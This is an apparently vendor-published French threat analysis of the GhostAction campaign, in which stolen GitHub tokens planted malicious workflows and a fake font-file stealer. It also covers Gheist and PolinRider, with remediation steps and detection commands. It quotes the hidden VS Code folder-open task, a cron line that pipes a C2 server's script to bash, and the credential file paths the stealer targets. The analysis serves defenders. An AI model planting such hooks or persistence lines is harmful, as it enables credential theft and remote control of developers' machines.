Neutron, notre moteur d’IA, a obtenu un score de 97,1 % sur le benchmark CyberGym de l’UC Berkeley. En savoir plus

Analyse approfondie

Analyse approfondie

GhostAction : des jetons GitHub volés touchent 23 000 dépôts

Des jetons GitHub volés ont poussé 72 026 commits malveillants dans 22 964 dépôts en neuf jours ; révoquez les jetons et cherchez le cron #ghc2.

En bref

  • Des jetons GitHub volés et jamais révoqués ont permis à l'opérateur GhostAction de pousser 72 026 commits malveillants dans 22 964 dépôts publics entre le 13 et le 21 octobre 2026. GitGuardian a documenté la vague le 27 octobre 2026.
  • La campagne sort maintenant de la CI : un faux fichier de police et une tâche VS Code cachée volent des identifiants sur les machines des développeurs, et un cron de cinq minutes garde le contrôle après le nettoyage du dépôt.
  • GitGuardian ne chiffre pas les compromissions de postes dans cette vague ; 1 792 comptes émetteurs sont compromis et 7 989 des dépôts touchés sont de nouvelles victimes. Le blocage de GitHub a empêché chaque exécution de workflow malveillant visible.
  • Révoquez les jetons volés, supprimez les fichiers plantés sur chaque branche sans les rétablir, et cherchez l'entrée cron #ghc2 sur chaque machine et runner qui a touché un dépôt affecté. L'ordre de réponse est dans « Que faire si vos dépôts ont été touchés ? ».

Suis-je concerné ?

Tous ces éléments sont des voies d'exposition, et une seule suffit à agir :

  • Un compte ou une organisation GitHub que vous contrôlez a reçu des commits que vous n'avez pas écrits, dans la vague du 13 au 26 octobre 2026, ajoutant l'un des fichiers plantés listés dans « Comment vérifier si j'ai été compromis ? ».
  • Une machine a ouvert un dépôt affecté dans VS Code et a approuvé le dossier et autorisé les tâches automatiques avec Node.js disponible, car une tâche cachée a alors exécuté un script déguisé en fichier de police.
  • Un runner auto-hébergé a pris du travail d'un dépôt affecté, même si la famille self-hosted observée par GitGuardian contenait une erreur de syntaxe.
  • Les comptes cloud de votre organisation font confiance à un dépôt affecté via GitHub OpenID Connect, car une famille de charges demande des jetons OIDC GitHub et tente d'endosser chaque rôle IAM qu'elle trouve.
  • À part, la campagne Gheist a planté des workflows voleurs de secrets via un autre lot de jetons volés ; ses noms de branches et de fichiers sont aussi dans les contrôles ci-dessous.

Les jetons avaient été volés plus tôt et jamais révoqués, et les mêmes comptes sont revendus à d'autres acteurs. GitGuardian a observé 1 382 des 1 792 comptes émetteurs dans la vague du 8 octobre précédente. Pour Gheist, Wiz a remonté les sources des identifiants à des journaux d'infostealers et à des jetons exposés lors d'une compromission du projet Trivy en mars 2026.

Que fait le code malveillant ?

L'opérateur plante différents fichiers selon l'endroit où il veut que le code s'exécute. GitGuardian a compté cinq familles de charges dans la vague du 13 au 21 octobre :

Famille S'exécute sur Commits Dépôts
Seven workflows Runner hébergé par GitHub 33 411 19 153
Font stealer Machine du développeur 30 804 17 667
Security-audit re-point Runner hébergé par GitHub 6 988 6 902
Legacy OIDC Runner hébergé et AWS 568 418
Self-hosted Runner auto-hébergé 257 172

Les familles les plus volumineuses sont seven-workflows et le voleur de polices. La famille seven-workflows pousse audit.yml, build-check.yml, repo-health.yml, lint.yml, ci-check.yml, test-suite.yml et code-review.yml, chacun dans son propre commit au message anodin. La charge fouille l'arborescence et tout l'historique git à la recherche d'identifiants, avec quatre motifs de jetons IA ajoutés : sk-oat-, sk-svcacct-, gsk_ et xai-. Elle clone aussi le wiki du dépôt avec le GITHUB_TOKEN du workflow et le fouille. Quand son serveur est injoignable, elle se replie sur un gist privé nommé « build cache » contenant un fichier c.dat.

La famille legacy OIDC ressuscite un ancien modèle. Elle demande un jeton OIDC GitHub et tente d'endosser chaque ARN de rôle IAM présent dans l'environnement, puis exfiltre les sessions obtenues. La famille self-hosted utilise runs-on: self-hosted et lit les fichiers d'identifiants cloud et d'outils IA du runner, mais GitGuardian y a trouvé une erreur de syntaxe YAML qui l'empêchait de tourner. La famille security-audit re-point effectue 6 988 commits de mise à jour pour pointer les workflows existants vers un nouveau port.

La famille la plus importante s'exécute sur les machines des développeurs, hors de tout journal CI. L'opérateur pousse deux fichiers dans des commits séparés : public/fonts/fa-solid-400.woff2, un simple script Node.js, et un .vscode/tasks.json qui définit une tâche cachée :

L’exécution automatique exige aussi Node.js et l’autorisation des tâches automatiques dans un espace de travail approuvé ; cloner ou ouvrir le dépôt ne prouve pas une compromission.

{
  "label": "eslint-check",
  "type": "shell",
  "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''",
  "isBackground": true,
  "hide": true,
  "presentation": { "reveal": "never", "echo": false, "close": true },
  "runOptions": { "runOn": "folderOpen" }
}

Quand un développeur ouvre le dossier dans VS Code et approuve le dossier, avec les tâches automatiques autorisées et Node.js installé, la tâche exécute la « police ». Le script lit ~/.aws/credentials, .pypirc, .npmrc, .git-credentials, .netrc, ~/.claude/.credentials.json, ~/.gemini/oauth_creds.json et .kube/config, et collecte les clés SSH et les variables d'environnement correspondantes. Il fouille le répertoire personnel à la recherche de secrets AWS, Anthropic, GitHub, npm et PyPI, et envoie tout au serveur de l'opérateur.

Comment la persistance survit-elle au nettoyage du dépôt ?

Trois familles installent la même entrée cron, qui garde le contrôle de la machine après le nettoyage du dépôt :

*/5 * * * * curl -s -m 10 http://193.32.204[.]199:8080/c2/$(hostname) | bash  #ghc2

Toutes les cinq minutes, la machine récupère un script shell depuis le serveur de commande et contrôle et l'exécute, si bien que l'opérateur peut envoyer à chaque hôte un code de suivi différent. La leçon opérationnelle de GitGuardian tient en une phrase : nettoyer le dépôt est la partie facile, et ce sont les identifiants qui continuent de fonctionner.

Comment la campagne a-t-elle atteint 23 000 dépôts ?

L'échelle vient du vol d'identifiants, pas d'une vulnérabilité. Les 1 792 comptes émetteurs avaient leurs jetons volés plus tôt, en grande partie via des infostealers, et les jetons n'ont jamais été révoqués. GitGuardian a compté 2 875 propriétaires de dépôts touchés ; 14 906 dépôts étaient déjà victimes de la vague du 8 octobre et 7 989 étaient nouveaux. Le seul 15 octobre a vu 32 099 commits, et la période du 14 au 16 octobre en compte 67 556.

La campagne a aussi convergé avec un autre opérateur. Du 22 au 26 octobre, 188 commits GhostAction ont été amendés en place et poussés de force avec des loaders appartenant à PolinRider, une campagne que GitGuardian attribue à un acteur lié à la Corée du Nord. Le lanceur du voleur de polices GhostAction est une copie de la technique de PolinRider : la même tâche cachée eslint-check et le même repli de commande shell, seul le nom de fichier diffère. La chaîne propre de PolinRider est plus lourde :

  • Un loader qui résout l'adresse de son serveur de commande depuis une transaction Ethereum.
  • Des téléchargements échelonnés d'autres charges, décodées et exécutées avec node -e.
  • Un runner persistant dans ~/.node_modules/ qui continue de récupérer du code depuis son serveur.
  • Une étape finale qui récolte identifiants et cookies de navigateur et 150 extensions, dont des gestionnaires de mots de passe et des portefeuilles crypto.

GitGuardian n'a trouvé aucun indicateur clair que les deux opérateurs forment un seul groupe.

Qu'est-ce que le blocage de GitHub arrête ?

Depuis le 28 juillet 2026, GitHub met en attente les exécutions de workflows potentiellement malveillants des dépôts publics jusqu'à approbation par un collaborateur. GitGuardian n'a trouvé aucune exécution réussie d'une charge GhostAction : chaque exécution malveillante visible a été empêchée, et la famille self-hosted portait de plus une erreur de syntaxe.

Le blocage a trois brèches, et cette campagne s'y tient :

  • Les dépôts privés et GitHub Enterprise Server ne sont pas couverts : Wiz y a observé des exécutions Gheist se terminer, être supprimées en moins d'une minute, et les rôles cloud des organisations être endossés depuis des branches attaquantes.
  • Le voleur de polices n'utilise pas du tout la CI. Un fichier qui tourne sur la machine d'un développeur via VS Code est invisible pour un contrôle bâti autour des exécutions de workflow.
  • Le blocage ne peut pas révoquer les jetons volés. Chaque exécution bloquée dit quand même à l'opérateur que le compte fonctionne, et 1 382 comptes étaient déjà connus de la vague du 8 octobre.

Wiz a nommé le même schéma dans la campagne Gheist séparée, qui depuis le 15 septembre 2026 a planté plus de 13 500 branches depuis plus de 850 comptes. Son workflow sync-check.yml imprime les secrets du dépôt encodés en base32 dans son propre journal, puis télécharge ce journal via l'API GitHub et supprime l'exécution quelques secondes plus tard. Environ deux tiers des comptes impliqués étaient devenus indisponibles au 24 octobre, ce que Wiz lit comme une activité de réponse.

Les cinq familles de charges GhostAction selon le nombre de dépôts touchés, la famille visant les machines de développeurs en surbrillance.
Figure 1 : La famille seven-workflows a atteint le plus de dépôts, mais le voleur de polices en a touché presque autant en s'exécutant hors CI sur les machines des développeurs. Source : GitGuardian, vérifié le 31 octobre 2026.

Comment se déroule l'attaque ?

Un jeton volé pousse des fichiers plantés dans un dépôt ; le blocage arrête les exécutions de workflow, mais la paire du voleur de polices s'exécute sur une machine de développeur et y laisse une boucle de contrôle.

flowchart LR A["Jeton GitHub volé,
jamais révoqué"] --> B["L'opérateur pousse des fichiers de workflow
et la paire du voleur de polices"] B --> C["Exécutions malveillantes publiques
observées bloquées"] B --> D["Le voleur tourne hors CI :
tâche folderOpen de VS Code"] D --> H["Espace approuvé + tâches
automatiques autorisées + Node.js"] H --> E["Le faux .woff2 s'exécute en Node
et lit les fichiers d'identifiants"] E --> F["Les secrets partent vers le C2
et le cron #ghc2 s'installe"] F --> G["Une boucle de contrôle toutes les cinq minutes
survit au nettoyage du dépôt"]

Que peut faire un attaquant ?

Avec le voleur de polices sur une machine de développeur, l'opérateur lit les mêmes fichiers qu'un coffre d'identifiants contiendrait. Soit des identifiants cloud, des logins de registres et de gestionnaires de paquets, la configuration Kubernetes, des clés SSH et des identifiants d'outils IA, dont les jetons Claude, Gemini, OpenAI et Hugging Face. Avec les familles de workflow, les cibles sont les secrets du dépôt et de l'organisation, le wiki, et tout ce qu'un rôle cloud approuvé en OIDC peut atteindre.

Le risque le plus profond est la réutilisation de l'accès volé. Les deux rapports ont observé d'autres acteurs travaillant les mêmes comptes : des renommages de dépôts en appâts de logiciels craqués sur environ 1 461 dépôts, l'abus de calcul gratuit via des dépôts « Windows RDP Runner », et des loaders PolinRider poussés dans 188 commits. Wiz a aussi suivi des victimes Gheist en entreprise où l'opérateur a parcouru les jetons de plusieurs utilisateurs en quelques minutes et cloné des dépôts privés. Des heures plus tard, des identifiants cloud des mêmes organisations ont servi à énumérer AWS Secrets Manager. Les conditions sont exactement ce que les identifiants permettent : tout dépôt où le jeton peut écrire, et toute machine qui l'ouvre ensuite.

Que faire si vos dépôts ont été touchés ?

  1. Supprimez chaque fichier planté sur chaque branche, avec les noms de fichiers des contrôles ci-dessous. Ne rétablissez pas les commits : GitGuardian avertit que rétablir un commit « Update » restaure la version malveillante précédente.
  2. Révoquez les identifiants du compte : jetons d'accès personnels, autorisations d'applications OAuth et clés SSH. GitGuardian a observé une réinfection après nettoyage chaque fois que les jetons ont été conservés.
  3. Réinitialisez chaque identifiant commité dans le dépôt ou son historique, chaque secret d'Actions, et chaque identifiant stocké dans le wiki du dépôt.
  4. Sur toute machine ayant ouvert un dépôt affecté dans VS Code, et sur tout runner auto-hébergé, vérifiez l'entrée #ghc2 dans le crontab et supprimez-la. Réinitialisez ensuite chaque identifiant local : cloud, registres, outils IA, SSH et Kubernetes.
  5. Cherchez des gists privés nommés « build cache » contenant un fichier c.dat sur le compte, et supprimez-les.
  6. Si vos workflows s'authentifient au cloud via OIDC, cherchez dans les journaux d'audit cloud les appels AssumeRoleWithWebIdentity depuis GitHub sur des dépôts ou branches inattendus. Restreignez les politiques de confiance à des dépôts et branches précis.
  7. Exigez une approbation pour les changements de workflow, et n'approuvez pas les exécutions sync-check en attente : ce sont l'attaque, pas un job bloqué.

Pour Gheist précisément, Wiz ajoute : réinitialisez chaque secret de dépôt, d'organisation et d'environnement accessible à un dépôt affecté, car supprimer l'exécution ou la branche n'annule pas l'exposition. Traitez tout runner auto-hébergé ayant exécuté une branche ci-sync comme compromis, avec son rôle d'instance.

Comment vérifier si j'ai été compromis ?

Cherchez dans les dépôts que vous contrôlez les noms de fichiers et messages de commit de la campagne, sur chaque branche :

Examinez chaque branche sans l’ouvrir dans un éditeur. Les commandes ci-dessous inspectent l’arborescence courante et les références locales ; récupérez d’abord toutes les branches distantes depuis un environnement sain. Un nom de fichier est un indice à analyser, pas une preuve de malveillance.

# GhostAction planted files and messages (adapted from GitGuardian)
grep -rlE "fa-solid-400\.woff2" .
grep -n "runOn" .vscode/tasks.json 2>/dev/null
ls .github/workflows/ | grep -E "audit|build-check|repo-health|lint|ci-check|test-suite|code-review|maintenance|cache-cleanup|runner-maintenance|cleanup-job|cleanup_cache|github_actions_security|security-audit"

# Gheist branches: ci-sync- followed by six characters
git for-each-ref --format='%(refname)' refs/heads refs/remotes | grep -E '/ci-sync-[0-9a-z]{6}$'

Vérifiez les machines et runners qui ont touché ces dépôts :

crontab -l | grep "ghc2"        # the persistence marker
ls -la ~/.node_modules/         # PolinRider: .npm-ws-runner.js, .npm-ws.json, .npm-ws.pid
ls -la .gdmp_pat .gdmp_patg .gdmp_sweep 2>/dev/null   # Gheist self-hosted job helpers

Le point de sortie de la famille GhostAction est http://193.32.204[.]199:8080/?c=<tag>, avec des marqueurs observés dont auto_20261013, auto_20261015, reinject, full1, ssh1 et oidcm2. Le canal cron est la même adresse sous /c2/<hostname>. Gheist se repère dans les journaux d'audit GitHub par l'agent utilisateur gheist et par des exécutions de workflow sur des branches ci-sync-* supprimées moins d'une minute après leur fin. Les journaux cloud le révèlent par des endossements de rôles dont le sujet contient une branche ci-sync-. Le résolveur blockchain de PolinRider lit l'adresse Ethereum 0x1eef0849eda15d87f64e51c73c8442cf3c8bcef3, avec un serveur de repli sur 95.135.181[.]151:443.

Deux limites honnêtes s'appliquent. Les décomptes de GitGuardian sont des bornes basses, car ils ne couvrent que ce que son flux a observé. Une machine de développeur ayant exécuté le voleur de polices ne montre rien dans l'historique du dépôt : l'entrée cron est l'artefact qui compte.

Chronologie

  • 2026-09-15 : Wiz commence à suivre la campagne Gheist plantant des workflows sync-check via des jetons volés.
  • 2026-10-08 à 2026-10-12 : La première vague d'octobre de GhostAction pousse security-audit.yml dans environ 30 000 dépôts ; les premiers workflows ont tourné avant le blocage de GitHub vers le 9 octobre.
  • 2026-10-13 : La seconde vague commence, en repointant 6 370 fichiers existants à 22 h 58 UTC.
  • 2026-10-14 : La famille seven-workflows démarre à 13 h 22 UTC, la famille self-hosted à 14 h 11 UTC, et le voleur de polices à 21 h 39 UTC.
  • 2026-10-15 : La campagne culmine à 32 099 commits en un jour.
  • 2026-10-19 : Le Tool B de Gheist ajoute un job sync-host auto-hébergé et le séparateur de journal LAFA====.
  • 2026-10-20 : Le workflow OIDC historique revient à 14 h 16 UTC.
  • 2026-10-21 : Le dernier commit GhostAction tombe à 4 h 37 UTC.
  • 2026-10-22 à 2026-10-26 : Des loaders PolinRider sont amendés dans 188 commits GhostAction puis poussés de force.
  • 2026-10-25 : Wiz publie l'analyse Gheist.
  • 2026-10-27 : GitGuardian publie l'analyse de l'escalade GhostAction.

FAQ

Des GitHub Actions malveillantes ont-elles réussi à tourner ?

Pour la vague du 13 au 21 octobre, GitGuardian n’a observé aucune exécution malveillante réussie dans les dépôts publics. GitGuardian a trouvé chaque exécution GhostAction visible empêchée par le blocage d'approbation de GitHub, et la famille self-hosted portait en plus une erreur de syntaxe. La vague du 8 octobre a bien tourné avant le blocage, d'où le recouvrement des listes de comptes. Chez Gheist, Wiz a confirmé des exécutions terminées dans des dépôts privés et sur GitHub Enterprise Server, où le blocage ne s'applique pas.

GhostAction et Gheist sont-ils la même campagne ?

Non. Wiz précise que les deux sont distincts : Gheist exfiltre des secrets via l'API de GitHub avec des workflows sync-check et des branches ci-sync-, tandis que GhostAction utilise d'autres fichiers de workflow et exfiltre vers 193.32.204[.]199. Les deux fonctionnent sur des jetons volés, certains comptes se recoupent dans l'écosystème plus large des identifiants, et les deux rapports se citent mutuellement.

Pourquoi le blocage de GitHub n'a-t-il pas protégé du voleur de polices ?

Le blocage est bâti autour des exécutions de workflow en CI. Le voleur de polices n'entre jamais en CI : c'est un script déguisé en fichier de police, lancé par une tâche VS Code qui se déclenche à l'ouverture du dossier. Rien dans le chemin de contrôle CI ne le voit, c'est pourquoi ses artefacts vivent sur la machine du développeur, pas dans le journal de workflow.

Qu'arrive-t-il aux machines qui ont exécuté le voleur de polices ?

Traitez-les comme compromises. Le script lit des fichiers d'identifiants et des variables d'environnement et les envoie au serveur de l'opérateur, puis installe l'entrée cron #ghc2, qui récupère et exécute du nouveau code toutes les cinq minutes. L'ordre de remédiation de GitGuardian est explicite : retirez d'abord la persistance, puis réinitialisez chaque identifiant que la machine pouvait atteindre, sans vous reposer sur le nettoyage du dépôt.

Les propriétaires des jetons sont-ils les seules victimes ?

Non. Toute personne ayant cloné un dépôt affecté et autorisé son exécution malveillante dans VS Code peut aussi être compromise. Wiz a aussi observé des victimes Gheist en entreprise où des identifiants cloud de la même organisation ont énuméré AWS Secrets Manager des heures plus tard. Cela étend le rayon d'impact au-delà des comptes compromis en premier.

Pourquoi cette campagne est-elle difficile à arrêter durablement ?

À cause des jetons. Une réinfection après nettoyage a été observée chaque fois qu'ils ont été conservés, et les opérateurs en acquièrent sans cesse via des journaux d'infostealers et des compromissions de chaîne d'approvisionnement antérieures. La liste de renforcement de Wiz vise exactement cela :

  • Des GitHub Apps ou des jetons d’accès personnels à permissions fines et de courte durée, plutôt que des jetons durables aux droits étendus.
  • Des politiques de confiance OIDC limitées aux branches protégées.
  • Des réviseurs sur les environnements détenant des secrets de production.
  • Des runners auto-hébergés éphémères, sans socket Docker ni accès illimité aux métadonnées.

Vérifiez de quoi dépendent vos dépôts avec Ostorlab

Un inventaire des dépendances aide à examiner la chaîne d’approvisionnement. L’analyse de composition logicielle d’Ostorlab inventorie les dépendances ; les fichiers malveillants, les branches et la persistance sur les machines demandent une investigation distincte.

Références

  • GitGuardian, GhostAction Crosses Paths With PolinRider: Inside the October Escalation, 27 octobre 2026 : https://blog.gitguardian.com/ghostaction-x-polinrider/ (vérifié le 31 octobre 2026)
  • GitGuardian, The campaign that never stopped: tracking GhostAction from 2025 to 2026, 7 octobre 2026 : https://blog.gitguardian.com/ghostaction-github-actions-supply-chain-attack-returns/ (vérifié le 31 octobre 2026)
  • Wiz, Gheist: Attempted Scaled Abuse of Stolen GitHub Tokens Stumbles, 25 octobre 2026 : https://www.wiz.io/blog/gheist-attempted-scaled-abuse-of-stolen-github-tokens-stumbles (vérifié le 31 octobre 2026)
  • GitHub changelog, GitHub Actions holds potentially malicious workflows for approval, 28 juillet 2026 : https://github.blog/changelog/2026-07-28-github-actions-holds-potentially-malicious-workflows-for-approval/ (lié depuis Wiz, vérifié le 31 octobre 2026)
  • Analyse de PolinRider par OpenSourceMalware, citée par GitGuardian : https://opensourcemalware.com/blog/ghostaction-copycats-polinrider-by-hiding-a-stealer-in-a-fake-font-file (vérifié le 31 octobre 2026)
  • VS Code, automatic task execution: https://code.visualstudio.com/docs/debugtest/tasks#_control-automatic-task-execution